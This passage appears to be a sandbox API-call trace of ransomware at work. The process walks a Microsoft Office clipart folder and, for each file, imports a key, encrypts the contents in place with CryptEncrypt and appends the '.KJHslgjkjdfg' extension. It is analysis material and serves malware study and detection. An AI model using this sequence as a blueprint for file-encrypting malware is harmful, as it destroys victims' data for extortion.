dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.602] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa442, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa442, lpOverlapped=0x0) returned 1 [0190.603] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa450, dwBufLen=0xa450 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa450) returned 1 [0190.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.604] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa450, lpOverlapped=0x0) returned 1 [0190.604] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.605] SetEndOfFile (hFile=0x130) returned 1 [0190.608] GetProcessHeap () returned 0x990000 [0190.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.608] GetProcessHeap () returned 0x990000 [0190.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.kjhslgjkjdfg")) returned 1 [0190.609] CloseHandle (hObject=0x130) returned 1 [0190.609] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0190.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.610] GetProcessHeap () returned 0x990000 [0190.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.610] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.610] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.612] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.612] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.612] GetProcessHeap () returned 0x990000 [0190.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.612] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.612] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.612] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.612] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.613] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.613] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.613] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.613] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.613] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x136a, lpOverlapped=0x0) returned 1 [0190.614] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370) returned 1 [0190.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.615] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1370, lpOverlapped=0x0) returned 1 [0190.615] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.615] SetEndOfFile (hFile=0x130) returned 1 [0190.616] GetProcessHeap () returned 0x990000 [0190.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.616] GetProcessHeap () returned 0x990000 [0190.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.kjhslgjkjdfg")) returned 1 [0190.617] CloseHandle (hObject=0x130) returned 1 [0190.617] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0190.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.618] GetProcessHeap () returned 0x990000 [0190.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.618] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.618] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0190.620] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.620] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.620] GetProcessHeap () returned 0x990000 [0190.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.620] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.620] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.620] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.621] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.621] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.621] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.621] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.621] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.621] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x60b7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x60b7, lpOverlapped=0x0) returned 1 [0190.622] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60c0, dwBufLen=0x60c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60c0) returned 1 [0190.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.623] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x60c0, lpOverlapped=0x0) returned 1 [0190.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.623] SetEndOfFile (hFile=0x130) returned 1 [0190.626] GetProcessHeap () returned 0x990000 [0190.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.626] GetProcessHeap () returned 0x990000 [0190.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.kjhslgjkjdfg")) returned 1 [0190.628] CloseHandle (hObject=0x130) returned 1 [0190.628] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0190.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.629] GetProcessHeap () returned 0x990000 [0190.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.629] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.629] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.631] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.631] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.631] GetProcessHeap () returned 0x990000 [0190.631] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.631] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.632] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.632] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.632] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.632] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.632] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.632] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.632] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x40d4, lpOverlapped=0x0) returned 1 [0190.633] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40e0, dwBufLen=0x40e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40e0) returned 1 [0190.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.634] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x40e0, lpOverlapped=0x0) returned 1 [0190.634] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.634] SetEndOfFile (hFile=0x130) returned 1 [0190.637] GetProcessHeap () returned 0x990000 [0190.637] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.637] GetProcessHeap () returned 0x990000 [0190.637] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.kjhslgjkjdfg")) returned 1 [0190.638] CloseHandle (hObject=0x130) returned 1 [0190.638] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0190.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.639] GetProcessHeap () returned 0x990000 [0190.639] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.639] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.639] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0190.641] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.641] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.641] GetProcessHeap () returned 0x990000 [0190.641] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.641] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.641] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.641] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.642] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.642] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.642] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.642] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.642] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.642] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.642] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5f39, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5f39, lpOverlapped=0x0) returned 1 [0190.643] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f40, dwBufLen=0x5f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f40) returned 1 [0190.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.644] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5f40, lpOverlapped=0x0) returned 1 [0190.644] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.644] SetEndOfFile (hFile=0x130) returned 1 [0190.657] GetProcessHeap () returned 0x990000 [0190.658] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.658] GetProcessHeap () returned 0x990000 [0190.658] HeapFree (in: hHeap=0x990000, dwFlags=0x0, 